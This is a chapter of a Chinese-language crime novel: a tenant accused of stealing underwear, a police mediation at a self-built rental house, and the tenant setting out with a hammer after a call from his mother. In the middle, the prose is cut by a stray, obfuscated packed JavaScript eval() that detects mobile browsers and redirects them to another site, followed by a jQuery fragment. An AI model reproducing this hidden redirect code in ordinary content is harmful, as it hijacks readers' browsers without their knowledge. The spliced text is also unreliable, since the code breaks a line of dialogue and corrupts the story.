傍晚六点的江都市中心,尾灯铺成长河,街道像被红雾笼罩。
喇叭声此起彼伏,车阵蠕动得像一群被困住的虫。蔡岛嘉坐在驾驶座上,僵硬的十指死死扣在方向盘上。直到车流终于松动,他才猛地一拐,钻入村道,绕过几条巷子,把车停进自建楼下的院子里。
蔡岛嘉提起装有红外探测器的黑色塑料袋,刚走出两步,入户门里猛地炸起何阿婆一嗓子,尖得像划玻璃。
“站住!”
何阿婆第一个冲出来,那头稀疏的头发油光发亮地贴在头皮上,棕白交错得像一层霉斑。身上那件花团锦簇的宽大连衣裙,仿佛庙会摊位上扯下来的桌布。她身后的“随从”们挤成一团:何阿公面色绷紧,徐朝颜神情畏缩,何序神色沉稳,朵朵却兴奋得睁大眼睛,差点扑出来追,却被何序一个眼神钉住,只得不情不愿地缩在屋檐下。
蔡岛嘉鼓起的胸腔瞬间瘪下去,下意识将黑色塑料袋往身后藏,嘴里挤出一句软绵绵的、带着慌乱的:“怎么了?”
“怎么了?你还好意思问?”何阿婆嗓门又拔高一寸,“我问你,你是不是偷进了二楼主卧?”
“我没有!我吃完午饭就出去跑车了!”蔡岛嘉把早备好的话一口气抖出来。
“不认账是吧?”何阿婆冷笑,“那你脚上为啥是新拖鞋?旧的呢?”
“穿新拖鞋犯法吗?”蔡岛嘉硬着头皮狡辩。
“穿新拖鞋不犯法,入室盗窃犯法。”何阿公的叹息声清晰地落在院子里,“小蔡,你为什么要这么做?”
“和小偷有什么好说的,直接报警吧。”何阿婆不耐烦地一挥手。
何序立刻掏出手机,却被徐朝颜伸手拦住。
“算了吧……反正丢的也不是要紧东西,这要闹出去,多丢人啊。”她压低声音,游移的眼神第一次落在蔡岛嘉身上,“只要你把东西还回来,这次我就当没发生过。”
“还什么?”
这个字眼瞬间戳进蔡岛嘉的心口。他脑中第一时间闪出的,是自己从墙里拖出的那一袋美金。可不论他怎么猜,也料不到徐朝颜接下来的话——
“……我的内裤。”她的声音变得更低,几乎是嘶嘶作响。
这句话太荒唐,荒唐到让蔡岛嘉一时连反问都忘了。他愣在原地,目瞪口呆地看着徐朝颜。
“什么东西?”半晌后,他才挤出难以置信的声音,幻想自己是因为炎热的天气而出现了幻听。
“他还在装聋作哑。”何阿婆断然道,“别和他废话了。儿子,报警!”
三分钟后,八里村街道派出所。
戚迪正对着一桶吃干抹净的红烧牛肉面行使“最后搜捕权”。他拈着随餐赠送的白色塑料叉,在汤面上小心翼翼绕圈,像渔民放网。好不容易把一粒黄豆大小的肉干逼到叉齿上,手腕轻轻一抬——肉干顺着缝隙一个回旋,完成了一个漂亮的跳水。
“……靠。”
他低声骂了一句,正要再来一轮,巡逻组员梁芸推门而入。后者是个剪着利落短发,瘦高结实的年轻女人。她拍了拍他的桌面,简短地说:“有任务,出警。”
“让别人去,我忙着呢。”戚迪眼皮都没抬。
那粒肉干再次从叉缝溜走,胜利再度归于物理学。
“没别人了,能出的就咱俩。”梁芸语气平直,连眨眼的工夫都省了。
戚戚迪喉咙里挤出一声含糊的抱怨,把整桶汤连同屡次逃逸的肉干一并倒进脚边垃圾桶。
派出所外的夕阳挂在楼檐上,半截沉进灰蒙蒙的天里,余晖把院墙涂成暗红色,像旧铁皮被火烤过。戚迪拉开车门,一屁股坐进副驾,半个身子倚向车门,摇下车窗点了烟。
梁芸面无表情地踩下油门,车子像野兽一样窜出去。那点灰雾在车里翻腾两圈,还没来得及呛人,就被风卷得干干净净,留下一丝若有若无的烟臭。
戚迪叼着烟,和梁芸确认警情细节。
“租户偷了房东的内裤?”
“偷的是房东儿媳的内裤。”
“有证据吗?”
他随手打开车载音响,黄家驹的歌声立即流淌出来,他刚一跟着哼哼,梁芸松开方向盘上的右手,啪一下把音响关了。
“你干什么?”他瞪过去。
“规定。”
“现在车上又没人!”
梁芸看了他一眼,像在看理解能力有问题的史前巨猿:“规定就是规定。你的烟,下车之前也要灭掉。”
“……你真应该去干纪委。”戚迪嘴里的烟失去了味道,他砸吧了一下,把还剩半根的烟扔进一个还有小半瓶水的饮料瓶里,“所以呢,证据有没有?”
“后墙留下了脚印,小偷翻窗逃走的时候,踩翻了后院的肥料桶,脚印一直延伸到院子停车的地方。据报警人所说,嫌疑人回来的时候脚上穿的是新鞋子,旧鞋不知所踪。”
“……那这还有什么好说的?”戚迪冷冷一笑,讥诮写在脸上。
那笑不止是给偷内裤的可怜虫,也是给自己——苦读数年,到头来却只能整日跟鸡毛蒜皮的纠纷打交道。
“我听他们说,你毕业的时候也是年级第一?”戚迪透过烟雾,从后视镜里看着梁芸。
后者只是从喉咙里不咸不淡地应了一声,好像这并非什么殊荣。
“没用的。”戚迪吐出烟雾,声音轻飘,却带着毒,“在基层,能力永远不是最重要的。”
她没有说话,他也不在乎她说什么。她还年轻,脸是冷的,心却是热的,就像他刚毕业那会一样。等她也在基层打转个十年,就会明白他此刻的心情。
“……到了。”
梁芸将车停在自建楼铁门外,解开安全带率先下了车。戚迪随后从副驾下来,抬眼扫了一圈院子里的人:
“谁是报警人?”
“我是。”何序从迈步走出,语调平直,“我们家的租客偷了我妻子的贴身衣物。”
“我没有!”蔡岛嘉涨红着脸,眼珠子急得直转。
“妈的摇裤贼,还在不认!”何阿婆骂声又尖又急,甩开胳膊就要上手,“搜身!现在就搜来看看!”
“哎,何阿婆!冷静一点,别一会摇裤没找到,你还把自己送进派出所了。”戚迪伸手按住她的手腕,像摁开一把突然弹出的折叠刀,他对梁芸打了个眼色,“事情是怎么样的,你们再给我说说。”
梁芸点点头,走到蔡岛嘉身边,压着声音说了几句,把他带到槐树下分开问话。院子里热气未散,树影晃动,话音都被压得低低的。
何家人把事前事后复述一遍:外墙上清楚的脚印、被踢翻的肥料桶、一路延伸到车位的泥痕,还有蔡岛嘉回来时脚上那双新拖鞋。戚迪顺着他们的陈述把时间线在脑子里排了一遍,又亲自去看了看所谓的“证据”,心里已有了八九分把握。
“你们的诉求是什么呢?”戚迪问。
“把摇裤还回来,还要公开道歉!再赔偿我们精神损失费两千元!”何阿婆抢着说,腮帮子鼓起来。
“……公开就算了吧?”徐朝颜尴尬地搓着睡裤边,蓝白色的HelloKitty和众人大眼瞪小眼。
何序淡淡道:“让他写保证书,保证以后再不会犯。”
过了一会,梁芸和一脸气闷的蔡岛嘉走了回来,梁芸来到他身边,低声道:“他不承认自己进了二楼主卧。”
“那他怎么解释何家人这边的证据?”
“他解释不了。”梁芸说,“但他也不肯承认,尤其是偷内裤的事。他反应很激烈,看上去不像假的。”
“让我来。”
戚迪示意梁芸留在原地,自己朝蔡岛嘉点了下头,把人领到一边阴影里。
“今天午饭之后,你没进二楼主卧?”戚迪开门见山问道。
“我没去!我吃过饭不久,就出去跑车了。”
“那为什么有人看见你进了二楼主卧?”
蔡岛嘉条件反射道:“谁看见了?”
“你觉得谁看见了?”戚迪反问。
蔡岛嘉嘴唇动了动,没接上话。
“这就无话可说了?还有外墙的脚印呢。我去看了,很清晰。技术勘验的同事一看一个准,你要是清白很快就洗干净;要是不清白,到时候再求情就没用了。”戚迪说。
蔡岛嘉咕咚一声咽了口唾沫,声音像呛到一样响亮。额角的汗水顺势滑落,仿佛连身体都在急着替他认罪。
“别把小事整大。”戚迪的语气压低了半调,“现在把东西拿出来,我们还能给你当场调解;进了流程,就不是我说了算的了。”
蔡岛嘉的大脑飞快打转:闹大了,他别想好过。三楼厕所的墙还没砌完,来个警察随便一看,就能看出里面藏过东西。可要他承认自己是“摇裤贼”?他咬牙背了这口黑锅也不是不可以,但他哪儿有“东西”还出去?
“……我没偷她的内裤。”他艰难挤出一句,这回谨慎得连“没进二楼主卧”都不敢再提。
“和小偷废什么话,搜身!”何阿婆嗓门又尖又快,“他那塑料袋一直攥着不放,八成见不得人!”
“这不符合规定,我们没有强制搜身的权力。”梁芸冷声打断。
“除非当事人自愿配合。”戚迪补充道。
所有目光齐刷刷落在蔡岛嘉身上。那一瞬,他第一次真切体会到“百口莫辩”的重量——像被人按在冷水里,想喊也喊不出。若是可能,他恨不得当场把自己剥得干干净净,叫他们睁大眼睛找找他身上究竟有没有HelloKitty。
“……我愿意配合。”他咬牙,一字一顿。
厕所窄得转不开身。戚迪把他的口袋翻得比早点摊的兜儿还干净:几枚硬币,再就是一块折到极致的小纸片。纸片一现身,蔡岛嘉像被人踩了脚背,表情瞬间僵住。
戚迪像是没注意到他的表情变化,双手却稳得很,慢条斯理地把那玩意儿摊平。
是一张银行排队的小票,时间是昨天。
“去银行做什么?”
“……存钱。”
戚迪抬眼盯了他一秒,将小票重新叠好,搁在洗手台边。随后把身上能藏东西的地方一一过手,尽是寻常物事。视线最后落在那只黑色塑料袋上。
“里头是什么?”
蔡岛嘉含含糊糊,语尾发虚。戚迪懒得兜圈,直接把袋里东西拽了出来——一个印刷体面的小盒子,封面上印着红外探测器的示意图。所里也有同类设备,只是型号更高级。
“红外探测器?”戚迪拧眉,“买它做什么?”
按理说,真“摇裤贼”多半是那个暗里装针孔、偷拍成性的人,而不是掏钱去买红外探测器、提心吊胆防被偷拍的那个。戚迪的经验和本能都在提醒他:一旦现实里出现了不合逻辑的拼图,缺失的那块,多半就是他还没看见的线索。
“因为是出租房,我怕被偷拍,所以买一个以防万一……”蔡岛嘉道,声音发硬。
戚迪正要接口,门外忽传来夏禧的声音。
“何阿婆?何阿公?小徐?有人在吗?”
他把盒子塞回黑色塑料袋里,转身拉开厕所门,大步走出。
“有什么事吗?”戚迪问。
“哦……没事,我就是想问问进展,”夏禧忙不迭摆手,“对不起对不起,我不是故意打扰您办事的。”
朵朵从客厅快步上前扶住她,小声关切:“小夏姐姐,要兑奶粉吗?我可以帮你。”
“暂时不用,谢谢你。”夏禧轻声。
“梁警官——”戚迪唤了一声。没一会儿,梁芸从院里进来。
何阿婆等人也蜂拥进楼,目光齐刷刷盯在戚迪脸上,等一句结论。
“没东西。”戚迪摇头。
“身上没东西又怎样,说不定藏车里了!”何阿婆劈头盖脸道。
蔡岛嘉刚想反驳,就见戚迪定定地看着他。愣了一会他才明白那是什么意思。强烈的屈辱从脚底一直蹿到天灵盖,他真想大喊大叫,想把所有污蔑他的人全捅个穿,但他做不到。不是不敢做,而是不能做。
蔡岛嘉脸色难看地掏出车钥匙,胳膊僵直得好像主人已经死了几天。
“你去看看。”
戚迪对梁芸说,后者接过车钥匙离开。过了大约十几分钟,梁芸重新回来,把车钥匙礼貌地递给蔡岛嘉,然后说:“车里没发现女性贴身衣物。”
“我就说了我没偷吧!”蔡岛嘉嗓门猛地拔高。
“你嚷嚷什么呢?嗓门大有理啊!”何阿婆以十倍奉还的音量怒吼道,“要是没偷我儿媳妇的摇裤,你偷偷摸摸进别人房间干嘛?鬼鬼祟祟拎个袋子回来,里面装的又是啥?!”
她话音未落,已一把扯住蔡岛嘉手里的黑色塑料袋。蔡岛嘉本能一紧,反手去夺。薄薄的塑料承受不住两股力道,“滋啦”一声撕裂成两片,里头的纸盒“扑通”落地,正面朝上,在众目睽睽下转了半圈——“红外探测器”五个黑字分外扎眼。
院子里停了一瞬,像被按了静音键。
何阿婆脸上的怒火先是僵了一下,随即换成疑惑;何阿公眉心拧成一结,何序神情不动,徐朝颜的目光则闪过一丝不安。
“这……这是什么鬼东西?”何阿婆伸手去捡。蔡岛嘉回神更快,抢先把盒子抄起,护在胸前。
“我的东西!”他压着怒气,声音仍带锋,“不是你儿媳的内裤,和你无关。”
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727996|189544||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…什么东西掉到地上了?”夏禧站在外围,敬业地饰演着一个盲人。
“是一个盒子,上面写着什么红外探测器,小夏姐姐!”朵朵扶着夏禧,清脆地解说道。
“我不管你红外绿外,”何阿婆步步紧逼,“今天必须给个说法!证据摆在那里,偷进二楼主卧的人就是你!你不是偷东西去的,还能干嘛?!”
“是因为钥匙的事情吗?”夏禧的声音在这时插了进来。
“什么钥匙?”戚迪追问。
“就是……”夏禧迟疑了一下,像在权衡措辞,“我和小蔡之前讨论过这事,何阿婆图方便,所有卧室门用的是一套钥匙。小蔡当时很生气,说一定要想个法子,让她答应换锁。”
只用了零点一秒,蔡岛嘉就意识到这是他的盟友向他递来的绝佳脱身之路。
“我承认,午饭后我确实进过二楼主卧,”他接住话头,“但就是为了吓她,让她换锁。我没偷任何东西,我可以发毒誓!”
“吓我?老子是吓大的吗?你——”
戚迪不耐烦地打断了何阿婆的话:“他说你们所有卧室都用的一把锁,是这样吗?”
“是又怎么了?我自己家的锁,难道不能用一样的?”
“你自用我不管,但你租出去了,就有保护租客财产安全的义务。最起码,一屋一钥这个要求并不过分。”戚迪话锋一转,又看向蔡岛嘉,“至于你,房东不换锁,你就装贼去吓人?要都像你这么干,这楼还要不要住人?”
在基层摸爬滚打十年,戚迪现在最擅长的不是查案,而是调解。
他几乎能把那套各打五十大板的话术倒背如流。
“哎呀算了算了!我懒得和你们浪费时间!我换锁行了吧!”何阿婆一甩手,摆出一副吃亏认栽的样子,“可我换了锁,他再偷进别人房间怎么办?”
“你换了锁我还怎么进去?”蔡岛嘉憋着火顶回去。
“行了,别吵了!就这样吧,何秀英换锁,蔡岛嘉写个保证书,再有下次,我亲自把你铐到派出所!”戚迪说。
“我要他现在就写!”何阿婆不依不饶。
戚迪看向蔡岛嘉。
“……写就写!”
蔡岛嘉在餐桌前坐了下来,何阿公给他拿来纸笔,徐朝颜站在一旁和夏禧低声交谈,只听得见隐约的声音,朵朵离他最近,趴在桌上,好奇地看着他写下每一个字。
几分钟后,一篇百来个字,讲明了前后关系的“保证书”就写好了。蔡岛嘉签上自己的名字,啪一声把笔搁下:
“现在满意了?”
何阿婆拿过保证书,仔细地看了一遍,没挑出错处,不情不愿地哼了一声。
“何阿婆,人家保证书也给你写了,记得把锁换了。”戚迪提醒道。
“我知道!”何阿婆拿着保证书,不耐烦道,“老子说话算数,不像某些人!”
梁芸拿出写好的调解记录本,让双方签字后,又拍照留了个档。
“既然事情解决了,那我们就走了。48小时内,我们会有电话回访;如果反悔或再起纠纷,直接打110或到所里找我。”戚迪说。
“真是不好意思,又辛苦你跑一趟了,戚警官和梁警官。”何阿公满脸歉意地送人出门。
“换锁的日期也写进调解书里了,记得提醒何阿婆,别让她耍赖。”戚迪说。
“我知道,您放心吧。”何阿公说。
梁芸回头看了一眼蔡岛嘉,说:“还有,任何偷拍都是违法行为,严重可能涉嫌犯罪。谁有线索可以直接报案。”
等巡逻车开出小院后,蔡岛嘉不想再看任何人的表情,他拎着黑色塑料袋,脸沉得像锅底,闷着一肚子火往楼上冲。
他现在迫不及待地检查出点什么,好把结果往那些污蔑他偷内裤的人脸上摔。
走到二楼时,主卧的门恰好在他眼前合上,“咔哒”一声,何序的背影被门缝吞没。蔡岛嘉脚步一顿——他是什么时候上来的?这个念头像一朵虚弱的泡沫,刚浮起就毫无意义地碎裂了,他甩开疑问,径直上了三楼。
回到房间,他立即拆开盒子,按照使用说明书找到了开关。他按下开关,拿着探测器绕屋一圈——墙角、镜面、插座、吊顶……所有可能藏针孔的地方都扫过,仪器静得像坏了。
他把三楼逐个扫了两遍,包括夏禧的,始终一无所获。
蔡岛嘉站在空荡荡的客厅里,盯着手里的探测器,喉咙发干。风从窗外吹来,带着一股烘烤过后的尘土味。
他转身准备离开,脚尖踢到某个硬物,“嗒”的轻响沿地砖滑开;一粒黑点慢慢滚到踢脚线前停住。
他皱起眉头,弯腰将其捡起。
那是一枚黑色小螺丝,十字槽新得发亮,螺纹上有细白粉尘——像刚从哪处壳体里抖落。
蔡岛嘉抬眼望向空荡的客厅,什么也没有。
昏暗之中,走廊有风轻手轻脚掠过楼梯扶手,又归于寂静。
“嗡嗡嗡,嗡嗡嗡——”
他的手机忽然震动起来。
来电显示是母亲,这两个字伴随着本能的厌烦从心底升起。他在接听和挂断之间犹豫了一下,按下了接听,心不在焉地说:
“喂?”
在电流声中响起的不是母亲老掉牙的关心和唠叨,而是措手不及的哭声。
他变了脸色,那点不耐烦在领地被冒犯的恼怒中烟消云散,他悄声回到房间,关上房门。
“妈?你怎么了?”
“你爸爸……”蔡娟在电话那头啜泣着,断断续续道,“你爸爸他要和我离婚……他……他刚刚收拾行李,已经搬出去了……”
一股火从胸腔里猛地腾起,蔡岛嘉当即就猜到了父亲要离婚的原因。
他有片刻没有说话,只听着母亲惶然的抽泣,直到那股怒火将他的每一根骨节,每一个毛孔都烧滚烧烫,他才听到自己沙哑低沉的声音:
“我知道他去了哪儿,等我一会。”
不等母亲说话,他已经挂断了电话。手里那枚小螺丝变得不再重要,他随手扔在地上,从墙角拉出行李箱打开,从最里层的内袋里拿出一把羊角锤别在腰上,用衣摆遮掩,然后下楼开车。
他和夏禧在楼梯上狭路相逢。
“小蔡,这么晚了还出去?”夏禧脸上挂着笑容,墨镜后的眼睛却露着探究。
“嗯。”他敷衍地应了一声,侧身从她身旁经过。
一楼客厅空无一人,电视机里播放着央八的抗日神剧,厨房里传来何阿婆洗碗的声音。他没有惊动任何人地离开了自建楼。
坐上车,他抽出腰上的羊角锤放在副驾,一脚油门,黄色出租车像炮弹一样冲了出去。